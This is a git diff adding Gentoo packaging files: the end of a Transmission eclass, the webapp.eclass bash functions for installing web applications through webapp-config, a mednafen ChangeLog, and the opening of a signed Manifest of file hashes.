+		elog "Gnome/system/preferences/sound themes tab and 'sound theme: default'"
+		elog
+	fi
+
+	elog "Since µTP is enabled by default, ${MY_PN} needs large kernel buffers for"
+	elog "the UDP socket. You can append following lines into /etc/sysctl.conf:"
+	elog " net.core.rmem_max = 4194304"
+	elog " net.core.wmem_max = 1048576"
+	elog "and run sysctl -p"
+}
+
+transmission-2.52_pkg_postrm() {
+	if _transmission_is gtk || _transmission_is qt4; then
+		fdo-mime_desktop_database_update
+	fi
+
+	_transmission_is gtk && gnome2_icon_cache_update
+}
diff --git a/eclass/webapp.eclass b/eclass/webapp.eclass
new file mode 100644
index 00000000..150f7ac3
--- /dev/null
+++ b/eclass/webapp.eclass
@@ -0,0 +1,575 @@
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/eclass/webapp.eclass,v 1.66 2011/05/19 12:05:13 scarabeus Exp $
+
+# @ECLASS: webapp.eclass
+# @MAINTAINER:
+# web-apps@gentoo.org
+# @BLURB: functions for installing applications to run under a web server
+# @DESCRIPTION:
+# The webapp eclass contains functions to handle web applications with
+# webapp-config. Part of the implementation of GLEP #11
+
+# @ECLASS-VARIABLE: WEBAPP_DEPEND
+# @DESCRIPTION:
+# An ebuild should use WEBAPP_DEPEND if a custom DEPEND needs to be built, most
+# notably in combination with WEBAPP_OPTIONAL.
+WEBAPP_DEPEND=">=app-admin/webapp-config-1.50.15"
+
+# @ECLASS-VARIABLE: WEBAPP_NO_AUTO_INSTALL
+# @DESCRIPTION:
+# An ebuild sets this to `yes' if an automatic installation and/or upgrade is
+# not possible. The ebuild should overwrite pkg_postinst() and explain the
+# reason for this BEFORE calling webapp_pkg_postinst().
+
+# @ECLASS-VARIABLE: WEBAPP_OPTIONAL
+# @DESCRIPTION:
+# An ebuild sets this to `yes' to make webapp support optional, in which case
+# you also need to take care of USE-flags and dependencies.
+
+if [[ "${WEBAPP_OPTIONAL}" != "yes" ]]; then
+	[[ "${WEBAPP_NO_AUTO_INSTALL}" == "yes" ]] || IUSE="vhosts"
+	SLOT="${PVR}"
+	DEPEND="${WEBAPP_DEPEND}"
+	RDEPEND="${DEPEND}"
+fi
+
+EXPORT_FUNCTIONS pkg_postinst pkg_setup src_install pkg_prerm
+
+INSTALL_DIR="/${PN}"
+IS_UPGRADE=0
+IS_REPLACE=0
+
+INSTALL_CHECK_FILE="installed_by_webapp_eclass"
+SETUP_CHECK_FILE="setup_by_webapp_eclass"
+
+ETC_CONFIG="${ROOT}etc/vhosts/webapp-config"
+WEBAPP_CONFIG="${ROOT}usr/sbin/webapp-config"
+WEBAPP_CLEANER="${ROOT}usr/sbin/webapp-cleaner"
+
+# ==============================================================================
+# INTERNAL FUNCTIONS
+# ==============================================================================
+
+# Load the config file /etc/vhosts/webapp-config
+# Supports both the old bash version, and the new python version
+webapp_read_config() {
+	debug-print-function $FUNCNAME $*
+
+	if has_version '>=app-admin/webapp-config-1.50'; then
+		ENVVAR=$(${WEBAPP_CONFIG} --query ${PN} ${PVR}) || die "Could not read settings from webapp-config!"
+		eval ${ENVVAR}
+	else
+		. ${ETC_CONFIG} || die "Unable to read ${ETC_CONFIG}"
+	fi
+}
+
+# Check whether a specified file exists in the given directory (`.' by default)
+webapp_checkfileexists() {
+	debug-print-function $FUNCNAME $*
+
+	local my_prefix=${2:+${2}/}
+
+	if [[ ! -e "${my_prefix}${1}" ]]; then
+		msg="ebuild fault: file '${1}' not found"
+		eerror "$msg"
+		eerror "Please report this as a bug at http://bugs.gentoo.org/"
+		die "$msg"
+	fi
+}
+
+webapp_check_installedat() {
+	debug-print-function $FUNCNAME $*
+	${WEBAPP_CONFIG} --show-installed -h localhost -d "${INSTALL_DIR}" 2> /dev/null
+}
+
+webapp_strip_appdir() {
+	debug-print-function $FUNCNAME $*
+	echo "${1#${MY_APPDIR}/}"
+}
+
+webapp_strip_d() {
+	debug-print-function $FUNCNAME $*
+	echo "${1#${D}}"
+}
+
+webapp_strip_cwd() {
+	debug-print-function $FUNCNAME $*
+	echo "${1/#.\///}"
+}
+
+webapp_getinstalltype() {
+	debug-print-function $FUNCNAME $*
+
+	if ! has vhosts ${IUSE} || use vhosts; then
+		return
+	fi
+
+	local my_output
+	my_output="$(webapp_check_installedat)"
+
+	if [[ $? -eq 0 ]]; then
+		# something is already installed there
+		# make sure it isn't the same version
+
+		local my_pn="$(echo ${my_output} | awk '{ print $1 }')"
+		local my_pvr="$(echo ${my_output} | awk '{ print $2 }')"
+
+		REMOVE_PKG="${my_pn}-${my_pvr}"
+
+		if [[ "${my_pn}" == "${PN}" ]]; then
+			if [[ "${my_pvr}" != "${PVR}" ]]; then
+				elog "This is an upgrade"
+				IS_UPGRADE=1
+				# for binpkgs, reset status, var declared in global scope
+				IS_REPLACE=0
+			else
+				elog "This is a re-installation"
+				IS_REPLACE=1
+				# for binpkgs, reset status, var declared in global scope
+				IS_UPGRADE=0
+			fi
+		else
+			elog "${my_output} is installed there"
+		fi
+	else
+		# for binpkgs, reset status, var declared in global scope
+		IS_REPLACE=0
+		IS_UPGRADE=0
+		elog "This is an installation"
+	fi
+}
+
+# ==============================================================================
+# PUBLIC FUNCTIONS
+# ==============================================================================
+
+# @FUNCTION: need_httpd
+# @DESCRIPTION:
+# Call this function AFTER your ebuilds DEPEND line if any of the available
+# webservers are able to run this application.
+need_httpd() {
+	DEPEND="${DEPEND}
+		|| ( virtual/httpd-basic virtual/httpd-cgi virtual/httpd-fastcgi )"
+}
+
+# @FUNCTION: need_httpd_cgi
+# @DESCRIPTION:
+# Call this function AFTER your ebuilds DEPEND line if any of the available
+# CGI-capable webservers are able to run this application.
+need_httpd_cgi() {
+	DEPEND="${DEPEND}
+		|| ( virtual/httpd-cgi virtual/httpd-fastcgi )"
+}
+
+# @FUNCTION: need_httpd_fastcgi
+# @DESCRIPTION:
+# Call this function AFTER your ebuilds DEPEND line if any of the available
+# FastCGI-capabale webservers are able to run this application.
+need_httpd_fastcgi() {
+	DEPEND="${DEPEND}
+		virtual/httpd-fastcgi"
+}
+
+# @FUNCTION: webapp_configfile
+# @USAGE: <file> [more files ...]
+# @DESCRIPTION:
+# Mark a file config-protected for a web-based application.
+webapp_configfile() {
+	debug-print-function $FUNCNAME $*
+
+	local m
+	for m in "$@"; do
+		webapp_checkfileexists "${m}" "${D}"
+
+		local my_file="$(webapp_strip_appdir "${m}")"
+		my_file="$(webapp_strip_cwd "${my_file}")"
+
+		elog "(config) ${my_file}"
+		echo "${my_file}" >> ${D}/${WA_CONFIGLIST}
+	done
+}
+
+# @FUNCTION: webapp_hook_script
+# @USAGE: <file>
+# @DESCRIPTION:
+# Install a script that will run after a virtual copy is created, and
+# before a virtual copy has been removed.
+webapp_hook_script() {
+	debug-print-function $FUNCNAME $*
+
+	webapp_checkfileexists "${1}"
+
+	elog "(hook) ${1}"
+	cp "${1}" "${D}/${MY_HOOKSCRIPTSDIR}/$(basename "${1}")" || die "Unable to install ${1} into ${D}/${MY_HOOKSCRIPTSDIR}/"
+	chmod 555 "${D}/${MY_HOOKSCRIPTSDIR}/$(basename "${1}")"
+}
+
+# @FUNCTION: webapp_postinst_txt
+# @USAGE: <lang> <file>
+# @DESCRIPTION:
+# Install a text file containing post-installation instructions.
+webapp_postinst_txt() {
+	debug-print-function $FUNCNAME $*
+
+	webapp_checkfileexists "${2}"
+
+	elog "(info) ${2} (lang: ${1})"
+	cp "${2}" "${D}/${MY_APPDIR}/postinst-${1}.txt"
+}
+
+# @FUNCTION: webapp_postupgrade_txt
+# @USAGE: <lang> <file>
+# @DESCRIPTION:
+# Install a text file containing post-upgrade instructions.
+webapp_postupgrade_txt() {
+	debug-print-function $FUNCNAME $*
+
+	webapp_checkfileexists "${2}"
+
+	elog "(info) ${2} (lang: ${1})"
+	cp "${2}" "${D}/${MY_APPDIR}/postupgrade-${1}.txt"
+}
+
+# helper for webapp_serverowned()
+_webapp_serverowned() {
+	debug-print-function $FUNCNAME $*
+
+	webapp_checkfileexists "${1}" "${D}"
+	local my_file="$(webapp_strip_appdir "${1}")"
+	my_file="$(webapp_strip_cwd "${my_file}")"
+
+	elog "(server owned) ${my_file}"
+	echo "${my_file}" >> "${D}/${WA_SOLIST}"
+}
+
+# @FUNCTION: webapp_serverowned
+# @USAGE: [-R] <file> [more files ...]
+# @DESCRIPTION:
+# Identify a file which must be owned by the webserver's user:group settings.
+# The ownership of the file is NOT set until the application is installed using
+# the webapp-config tool. If -R is given directories are handled recursively.
+webapp_serverowned() {
+	debug-print-function $FUNCNAME $*
+
+	local a m
+	if [[ "${1}" == "-R" ]]; then
+		shift
+		for m in "$@"; do
+			find "${D}${m}" | while read a; do
+				a=$(webapp_strip_d "${a}")
+				_webapp_serverowned "${a}"
+			done
+		done
+	else
+		for m in "$@"; do
+			_webapp_serverowned "${m}"
+		done
+	fi
+}
+
+# @FUNCTION: webapp_server_configfile
+# @USAGE: <server> <file> [new name]
+# @DESCRIPTION:
+# Install a configuration file for the webserver.  You need to specify a
+# webapp-config supported <server>.  if no new name is given `basename $2' is
+# used by default. Note: this function will automagically prepend $1 to the
+# front of your config file's name.
+webapp_server_configfile() {
+	debug-print-function $FUNCNAME $*
+
+	webapp_checkfileexists "${2}"
+
+	# WARNING:
+	#
+	# do NOT change the naming convention used here without changing all
+	# the other scripts that also rely upon these names
+
+	local my_file="${1}-${3:-$(basename "${2}")}"
+
+	elog "(${1}) config file '${my_file}'"
+	cp "${2}" "${D}/${MY_SERVERCONFIGDIR}/${my_file}"
+}
+
+# @FUNCTION: webapp_sqlscript
+# @USAGE: <db> <file> [version]
+# @DESCRIPTION:
+# Install a SQL script that creates/upgrades a database schema for the web
+# application. Currently supported database engines are mysql and postgres.
+# If a version is given the script should upgrade the database schema from
+# the given version to $PVR.
+webapp_sqlscript() {
+	debug-print-function $FUNCNAME $*
+
+	webapp_checkfileexists "${2}"
+
+	dodir "${MY_SQLSCRIPTSDIR}/${1}"
+
+	# WARNING:
+	#
+	# do NOT change the naming convention used here without changing all
+	# the other scripts that also rely upon these names
+
+	if [[ -n "${3}" ]]; then
+		elog "(${1}) upgrade script for ${PN}-${3} to ${PVR}"
+		cp "${2}" "${D}${MY_SQLSCRIPTSDIR}/${1}/${3}_to_${PVR}.sql"
+		chmod 600 "${D}${MY_SQLSCRIPTSDIR}/${1}/${3}_to_${PVR}.sql"
+	else
+		elog "(${1}) create script for ${PN}-${PVR}"
+		cp "${2}" "${D}/${MY_SQLSCRIPTSDIR}/${1}/${PVR}_create.sql"
+		chmod 600 "${D}/${MY_SQLSCRIPTSDIR}/${1}/${PVR}_create.sql"
+	fi
+}
+
+# @FUNCTION: webapp_src_preinst
+# @DESCRIPTION:
+# You need to call this function in src_install() BEFORE anything else has run.
+# For now we just create required webapp-config directories.
+webapp_src_preinst() {
+	debug-print-function $FUNCNAME $*
+
+	# sanity checks, to catch bugs in the ebuild
+	if [[ ! -f "${T}/${SETUP_CHECK_FILE}" ]]; then
+		eerror
+		eerror "This ebuild did not call webapp_pkg_setup() at the beginning"
+		eerror "of the pkg_setup() function"
+		eerror
+		eerror "Please log a bug on http://bugs.gentoo.org"
+		eerror
+		eerror "You should use emerge -C to remove this package, as the"
+		eerror "installation is incomplete"
+		eerror
+		die "Ebuild did not call webapp_pkg_setup() - report to http://bugs.gentoo.org"
+	fi
+
+	# Hint, see the webapp_read_config() function to find where these are
+	# defined.
+	dodir "${MY_HTDOCSDIR}"
+	dodir "${MY_HOSTROOTDIR}"
+	dodir "${MY_CGIBINDIR}"
+	dodir "${MY_ICONSDIR}"
+	dodir "${MY_ERRORSDIR}"
+	dodir "${MY_SQLSCRIPTSDIR}"
+	dodir "${MY_HOOKSCRIPTSDIR}"
+	dodir "${MY_SERVERCONFIGDIR}"
+}
+
+# ==============================================================================
+# EXPORTED FUNCTIONS
+# ==============================================================================
+
+# @FUNCTION: webapp_pkg_setup
+# @DESCRIPTION:
+# The default pkg_setup() for this eclass. This will gather required variables
+# from webapp-config and check if there is an application installed to
+# `${ROOT}/var/www/localhost/htdocs/${PN}/' if USE=vhosts is not set.
+#
+# You need to call this function BEFORE anything else has run in your custom
+# pkg_setup().
+webapp_pkg_setup() {
+	debug-print-function $FUNCNAME $*
+
+	# to test whether or not the ebuild has correctly called this function
+	# we add an empty file to the filesystem
+	#
+	# we used to just set a variable in the shell script, but we can
+	# no longer rely on Portage calling both webapp_pkg_setup() and
+	# webapp_src_install() within the same shell process
+	touch "${T}/${SETUP_CHECK_FILE}"
+
+	# special case - some ebuilds *do* need to overwride the SLOT
+	if [[ "${SLOT}+" != "${PVR}+" && "${WEBAPP_MANUAL_SLOT}" != "yes" ]]; then
+		die "Set WEBAPP_MANUAL_SLOT=\"yes\" if you need to SLOT manually"
+	fi
+
+	# pull in the shared configuration file
+	G_HOSTNAME="localhost"
+	webapp_read_config
+
+	local my_dir="${ROOT}${VHOST_ROOT}/${MY_HTDOCSBASE}/${PN}"
+
+	# if USE=vhosts is enabled OR no application is installed we're done here
+	if ! has vhosts ${IUSE} || use vhosts || [[ ! -d "${my_dir}" ]]; then
+		return
+	fi
+
+	local my_output
+	my_output="$(webapp_check_installedat)"
+
+	if [[ $? -ne 0 ]]; then
+		# okay, whatever is there, it isn't webapp-config-compatible
+		echo
+		ewarn
+		ewarn "You already have something installed in ${my_dir}"
+		ewarn
+		ewarn "Whatever is in ${my_dir}, it's not"
+		ewarn "compatible with webapp-config."
+		ewarn
+		ewarn "This ebuild may be overwriting important files."
+		ewarn
+		echo
+		ebeep 10
+	elif [[ "$(echo ${my_output} | awk '{ print $1 }')" != "${PN}" ]]; then
+		echo
+		eerror "You already have ${my_output} installed in ${my_dir}"
+		eerror
+		eerror "I cannot upgrade a different application"
+		eerror
+		echo
+		die "Cannot upgrade contents of ${my_dir}"
+	fi
+
+}
+
+# @FUNCTION: webapp_src_install
+# @DESCRIPTION:
+# This is the default src_install(). For now, we just make sure that root owns
+# everything, and that there are no setuid files.
+#
+# You need to call this function AFTER everything else has run in your custom
+# src_install().
+webapp_src_install() {
+	debug-print-function $FUNCNAME $*
+
+	# to test whether or not the ebuild has correctly called this function
+	# we add an empty file to the filesystem
+	#
+	# we used to just set a variable in the shell script, but we can
+	# no longer rely on Portage calling both webapp_src_install() and
+	# webapp_pkg_postinst() within the same shell process
+	touch "${D}/${MY_APPDIR}/${INSTALL_CHECK_FILE}"
+
+	chown -R "${VHOST_DEFAULT_UID}:${VHOST_DEFAULT_GID}" "${D}/"
+	chmod -R u-s "${D}/"
+	chmod -R g-s "${D}/"
+
+	keepdir "${MY_PERSISTDIR}"
+	fowners "root:0" "${MY_PERSISTDIR}"
+	fperms 755 "${MY_PERSISTDIR}"
+}
+
+# @FUNCTION: webapp_pkg_postinst
+# @DESCRIPTION:
+# The default pkg_postinst() for this eclass. This installs the web application to
+# `${ROOT}/var/www/localhost/htdocs/${PN}/' if USE=vhosts is not set. Otherwise
+# display a short notice how to install this application with webapp-config.
+#
+# You need to call this function AFTER everything else has run in your custom
+# pkg_postinst().
+webapp_pkg_postinst() {
+	debug-print-function $FUNCNAME $*
+
+	webapp_read_config
+
+	# sanity checks, to catch bugs in the ebuild
+	if [[ ! -f "${ROOT}${MY_APPDIR}/${INSTALL_CHECK_FILE}" ]]; then
+		eerror
+		eerror "This ebuild did not call webapp_src_install() at the end"
+		eerror "of the src_install() function"
+		eerror
+		eerror "Please log a bug on http://bugs.gentoo.org"
+		eerror
+		eerror "You should use emerge -C to remove this package, as the"
+		eerror "installation is incomplete"
+		eerror
+		die "Ebuild did not call webapp_src_install() - report to http://bugs.gentoo.org"
+	fi
+
+	if has vhosts ${IUSE}; then
+		if ! use vhosts; then
+			echo
+			elog "vhosts USE flag not set - auto-installing using webapp-config"
+
+			G_HOSTNAME="localhost"
+			webapp_read_config
+
+			local my_mode=-I
+			webapp_getinstalltype
+
+			if [[ "${IS_REPLACE}" == "1" ]]; then
+				elog "${PN}-${PVR} is already installed - replacing"
+				my_mode=-I
+			elif [[ "${IS_UPGRADE}" == "1" ]]; then
+				elog "${REMOVE_PKG} is already installed - upgrading"
+				my_mode=-U
+			else
+				elog "${PN}-${PVR} is not installed - using install mode"
+			fi
+
+			my_cmd="${WEBAPP_CONFIG} ${my_mode} -h localhost -u root -d ${INSTALL_DIR} ${PN} ${PVR}"
+			elog "Running ${my_cmd}"
+			${my_cmd}
+
+			echo
+			local cleaner="${WEBAPP_CLEANER} -p -C ${PN}"
+			einfo "Running ${cleaner}"
+			${cleaner}
+		else
+			elog
+			elog "The 'vhosts' USE flag is switched ON"
+			elog "This means that Portage will not automatically run webapp-config to"
+			elog "complete the installation."
+			elog
+			elog "To install ${PN}-${PVR} into a virtual host, run the following command:"
+			elog
+			elog "    webapp-config -I -h <host> -d ${PN} ${PN} ${PVR}"
+			elog
+			elog "For more details, see the webapp-config(8) man page"
+		fi
+	else
+		elog
+		elog "This ebuild does not support the 'vhosts' USE flag."
+		elog "This means that Portage will not automatically run webapp-config to"
+		elog "complete the installation."
+		elog
+		elog "To install ${PN}-${PVR} into a virtual host, run the following command:"
+		elog
+		elog "    webapp-config -I -h <host> -d ${PN} ${PN} ${PVR}"
+		elog
+		elog "For more details, see the webapp-config(8) man page"
+	fi
+}
+
+# @FUNCTION: webapp_pkg_prerm
+# @DESCRIPTION:
+# This is the default pkg_prerm() for this eclass. If USE=vhosts is not set
+# remove all installed copies of this web application. Otherwise instruct the
+# user to manually remove those copies. See bug #136959.
+webapp_pkg_prerm() {
+	debug-print-function $FUNCNAME $*
+
+	local my_output=
+	my_output="$(${WEBAPP_CONFIG} --list-installs ${PN} ${PVR})"
+	[[ $? -ne 0 ]] && return
+
+	local x
+	if has vhosts ${IUSE} && ! use vhosts; then
+		echo "${my_output}" | while read x; do
+			if [[ -f "${x}"/.webapp ]]; then
+				. "${x}"/.webapp
+				if [[ -n "${WEB_HOSTNAME}" && -n "${WEB_INSTALLDIR}" ]]; then
+					${WEBAPP_CONFIG} -C -h ${WEB_HOSTNAME} -d ${WEB_INSTALLDIR} ${PN} ${PVR}
+				fi
+			else
+				ewarn "Cannot find file ${x}/.webapp"
+			fi
+		done
+	elif [[ "${my_output}" != "" ]]; then
+		echo
+		ewarn
+		ewarn "Don't forget to use webapp-config to remove any copies of"
+		ewarn "${PN}-${PVR} installed in"
+		ewarn
+
+		echo "${my_output}" | while read x; do
+			if [[ -f "${x}"/.webapp ]]; then
+				ewarn "    ${x}"
+			else
+				ewarn "Cannot find file ${x}/.webapp"
+			fi
+		done
+
+		ewarn
+		echo
+	fi
+}
diff --git a/games-emulation/mednafen/ChangeLog b/games-emulation/mednafen/ChangeLog
new file mode 100644
index 00000000..7df2a391
--- /dev/null
+++ b/games-emulation/mednafen/ChangeLog
@@ -0,0 +1,190 @@
+# ChangeLog for games-emulation/mednafen
+# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/games-emulation/mednafen/ChangeLog,v 1.44 2013/04/27 14:16:20 hasufell Exp $
+
+  27 Apr 2013; Julian Ospald <hasufell@gentoo.org> mednafen-0.9.28.ebuild,
+  +files/mednafen-0.9.28-automake-1.13.patch:
+  fix automake-1.13 build wrt #467498
+
+  14 Feb 2013; Michael Sterrett <mr_bones_@gentoo.org> mednafen-0.9.28.ebuild:
+  add opengl to libsdl use deps (bug #457606)
+
+*mednafen-0.9.28 (26 Jan 2013)
+
+  26 Jan 2013; Michael Sterrett <mr_bones_@gentoo.org>
+  +files/mednafen-0.9.28-cflags.patch, +files/mednafen-0.9.28-zlib.patch,
+  +mednafen-0.9.28.ebuild, metadata.xml:
+  version bump
+
+  13 Jun 2012; Michael Sterrett <mr_bones_@gentoo.org>
+  -files/mednafen-0.8.13.3-zlib-1.2.6.patch,
+  -files/mednafen-0.8.13.3-zlib.patch, -mednafen-0.8.13.3-r1.ebuild,
+  -mednafen-0.8.13.3.ebuild:
+  old
+
+  22 May 2012; Jeff Horelick <jdhore@gentoo.org> mednafen-0.9.21.ebuild:
+  marked x86 per bug 413831
+
+  20 May 2012; Agostino Sarubbo <ago@gentoo.org> mednafen-0.9.21.ebuild:
+  Stable for amd64, wrt bug #413831
+
+  19 May 2012; Samuli Suominen <ssuominen@gentoo.org> mednafen-0.8.13.3.ebuild:
+  Revert to ~ppc wrt #413831 pending on user request for stabilization
+
+*mednafen-0.9.21 (06 May 2012)
+
+  06 May 2012; Tupone Alfredo <tupone@gentoo.org> +mednafen-0.9.21.ebuild,
+  +files/mednafen-0.9.21-zlib.patch:
+  Version bump to 0.9.21 Bug #414597 by Tatsh
+
+  04 May 2012; Jeff Horelick <jdhore@gentoo.org> mednafen-0.8.13.3.ebuild,
+  mednafen-0.8.13.3-r1.ebuild:
+  dev-util/pkgconfig -> virtual/pkgconfig
+
+  18 Feb 2012; Tim Harder <radhermit@gentoo.org> mednafen-0.8.13.3-r1.ebuild,
+  +files/mednafen-0.8.13.3-zlib-1.2.6.patch:
+  Fix build with zlib-1.2.6 (bug #403483).
+
+*mednafen-0.8.13.3-r1 (14 Dec 2011)
+
+  14 Dec 2011; Tupone Alfredo <tupone@gentoo.org> +mednafen-0.8.13.3-r1.ebuild,
+  +files/mednafen-0.8.13.3-zlib.patch:
+  Build with latest zlib. Bug #387821 by Diego Elio Pettenò
+
+  15 Jan 2011; Markus Meier <maekke@gentoo.org> mednafen-0.8.13.3.ebuild:
+  x86 stable, bug #351332
+
+  12 Jan 2011; Markos Chandras <hwoarang@gentoo.org> mednafen-0.8.13.3.ebuild:
+  Stable on amd64 wrt bug #351332
+
+  11 Jan 2011; Brent Baude <ranger@gentoo.org> mednafen-0.8.13.3.ebuild:
+  Marking mednafen-0.8.13.3 ppc for bug 351332
+
+  10 Dec 2010; Michael Sterrett <mr_bones_@gentoo.org>
+  mednafen-0.8.13.3.ebuild:
+  needs libsdl[joystick] (bug #348364)
+
+*mednafen-0.8.13.3 (06 Dec 2010)
+
+  06 Dec 2010; Hanno Boeck <hanno@gentoo.org> +mednafen-0.8.13.3.ebuild:
+  Version bump, gcc patch got merged upstream.
+
+  25 Sep 2010; Markus Meier <maekke@gentoo.org> mednafen-0.8.13.ebuild:
+  x86 stable, bug #337536
+
+  21 Sep 2010; Markos Chandras <hwoarang@gentoo.org> mednafen-0.8.13.ebuild:
+  Stable on amd64 wrt bug #337536
+
+  12 Aug 2010; Michael Sterrett <mr_bones_@gentoo.org>
+  mednafen-0.8.13.ebuild:
+  use deps for libsdl; add zlib dep; only pass c++ flags to g++
+
+  04 Jul 2010; Hanno Boeck <hanno@gentoo.org> mednafen-0.8.13.ebuild,
+  +files/mednafen-0.8.13-gcc45.patch:
+  Re-add gcc 4.5 patch.
+
+*mednafen-0.8.13 (02 Jul 2010)
+
+  02 Jul 2010; Tupone Alfredo <tupone@gentoo.org> +mednafen-0.8.13.ebuild:
+  Version bump to 0.8.13 Bug #326141 by Sergey Kondakov
+
+  24 May 2010; Tupone Alfredo <tupone@gentoo.org> mednafen-0.8.12.ebuild,
+  +files/mednafen-0.8.12-gcc45.patch:
+  Build with gcc-4.5 Bug #321009 by flameeyes@gentoo.org
+
+  23 May 2010; Pacho Ramos <pacho@gentoo.org> mednafen-0.8.12.ebuild:
+  stable amd64, bug 312535
+
+  21 Nov 2009; Markus Meier <maekke@gentoo.org> mednafen-0.8.12.ebuild:
+  x86 stable, bug #288950
+
+*mednafen-0.8.12 (12 Jul 2009)
+
+  12 Jul 2009; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.12.ebuild:
+  version bump
+
+  17 Jun 2009; Tristan Heaven <nyhm@gentoo.org> mednafen-0.8.11.ebuild,
+  +files/mednafen-0.8.11-glibc2.10.patch:
+  Fix building with glibc-2.10, bug #273590
+
+*mednafen-0.8.11 (15 Apr 2009)
+
+  15 Apr 2009; Hanno Boeck <hanno@gentoo.org> +mednafen-0.8.11.ebuild:
+  Version bump.
+
+*mednafen-0.8.10 (30 Jan 2009)
+
+  30 Jan 2009; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.10.ebuild:
+  version bump
+
+  24 Jul 2008; Raúl Porcel <armin76@gentoo.org> mednafen-0.8.9.ebuild:
+  x86 stable wrt #231880
+
+*mednafen-0.8.9 (20 Jun 2008)
+
+  20 Jun 2008; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.9.ebuild:
+  version bump (bug #228623)
+
+*mednafen-0.8.8 (22 Apr 2008)
+
+  22 Apr 2008; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.8.ebuild:
+  version bump
+
+*mednafen-0.8.7 (07 Jan 2008)
+
+  07 Jan 2008; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.7.ebuild:
+  version bump
+
+*mednafen-0.8.5 (28 Nov 2007)
+
+  28 Nov 2007; Michael Sterrett <mr_bones_@gentoo.org>
+  -mednafen-0.7.2.ebuild, -mednafen-0.8.1.ebuild, -mednafen-0.8.4.ebuild,
+  +mednafen-0.8.5.ebuild:
+  version bump (bug #200666); clean out old ebuilds
+
+*mednafen-0.8.4 (14 Nov 2007)
+
+  14 Nov 2007; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.4.ebuild:
+  version bump
+
+*mednafen-0.8.1 (04 Jul 2007)
+
+  04 Jul 2007; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.1.ebuild:
+  version bump (bug #184151)
+
+*mednafen-0.7.2 (12 Feb 2007)
+
+  12 Feb 2007; Tristan Heaven <nyhm@gentoo.org> +mednafen-0.7.2.ebuild:
+  Version bump
+
+*mednafen-0.7.1 (25 Dec 2006)
+
+  25 Dec 2006; Tristan Heaven <nyhm@gentoo.org> +mednafen-0.7.1.ebuild:
+  Version bump by Kai, bug #158901
+
+*mednafen-0.6.5 (29 Sep 2006)
+
+  29 Sep 2006; Tristan Heaven <nyhm@gentoo.org> +mednafen-0.6.5.ebuild:
+  Version bump, bug #146371
+
+  24 May 2006; Joseph Jezak <josejx@gentoo.org> mednafen-0.6.1.ebuild:
+  Marked ~ppc for bug #133867.
+
+  20 May 2006; Joshua Jackson <tsunam@gentoo.org> mednafen-0.6.1.ebuild:
+  Marking ~x86, as testing is needed before going x86
+
+  20 May 2006; Jon Hood <squinky86@gentoo.org> mednafen-0.6.1.ebuild:
+  Add ~amd64, #133753.
+
+*mednafen-0.6.1 (19 May 2006)
+
+  19 May 2006; Michael Sterrett <mr_bones_@gentoo.org> +metadata.xml,
+  +mednafen-0.6.1.ebuild:
+  initial commit - ebuild submitted by Kai via bug #110044
diff --git a/games-emulation/mednafen/Manifest b/games-emulation/mednafen/Manifest
new file mode 100644
index 00000000..59d7326c
--- /dev/null
+++ b/games-emulation/mednafen/Manifest
@@ -0,0 +1,24 @@
+-----BEGIN PGP SIGNED MESSAGE-----
+Hash: SHA256
+
+AUX mednafen-0.9.21-zlib.patch 1323 SHA256 c5e959e46059d0902e2fffb17376df260d4656ed35f4d1761734aaabfb95cffd SHA512 bb21d2a9d03cf9214755bc1786ba8cf1adf410d1780fc074213cd5075bd479dbb4c70a676096e43f772bd9c2e69c9cdcfb8363ccd125c84750fb73c9c9a982cb WHIRLPOOL 0f2e49c3f1e8d24f6e25f2dc093cf03fbdba185bd9fc54fb7ed0a26c14461ac8810fd6ab9663d000ca5279a7b1968a26ab25da537651f53ccc1c610eb3640780
+AUX mednafen-0.9.28-automake-1.13.patch 372 SHA256 1cc28062d38a372ae2e2cbb56efdd5d0bfa60b83cc5c6ec5fb6adab0de7578e1 SHA512 79eecf9fce0d2da04fb05f4d1453ac5aafee24cc13126c5305a8e1beb14d548ccb1c19df9da5a6017c80433d955362aa39272382e34d55d73364a99f67529eda WHIRLPOOL dfaf51d0b21248e035084e73d89e82c7f1bcf6dc7a4f2a632312ca9640edc9f36801154b98e97b7374da93914529c267aba9985703a385d0d102e34f91cd79fb
+AUX mednafen-0.9.28-cflags.patch 1560 SHA256 404029dc11bc8d3271eb3d62a6949c719ab660af5098b8038d4dbba09c484b85 SHA512 658dceb99abe9093fdf0753779663a968986f578d4992865a767d5caf65ef20813080a0755f90ffe433df4f6981f43c449de30aa253a84db668b2582c063f1bf WHIRLPOOL 8a961ed0d49a85b2f9fd20cac40d6cc55859c9d2148f378d63a8693aa171bdcb4bb063760b2bc1daa302e1d68b7729f845428b655e313c984b62a8b42e209009
+AUX mednafen-0.9.28-zlib.patch 1628 SHA256 161bf6682de65caa0a2ffd52000244b3289e7c21454bd99952761d3ffdb75947 SHA512 71e9d67f3a2f9e4534c96cd856e68d6d163fc71de15b31ade139b3a3b09aeead29aad7acf053c01b37b9d139bcdeafb66c231cab370bae49d4ee95a02b2b6e73 WHIRLPOOL 006fb50fec95ea1fa067c399d9f23803372bb5e1d4e95a96c6a4fe34af424183b076f148234af47bb94d841a19e0b09ac0f19adf95f85aea9746be386c9072ce
+DIST mednafen-0.9.21-wip.tar.bz2 3770486 SHA256 2c1074337cedd61091b8695915d1bc7cf3f7ad5bbdda755e7b99e32834fc052d SHA512 381f7c5f15ec89bd2ee8cf8606da020c6f958737af355c996d3e42df4f1d392392828b1dcdff0103fedaa628873a3cdbdf7493b674192ba1baedde8da4410f2f WHIRLPOOL a3f392105e891925503000c65f9a3ad455591a4ac67603c27ed53c2151db2d9f9f63a8037c1456e80c8d915f7cd3333fc6b584eecf0684c8d0f006d99ed4d93e
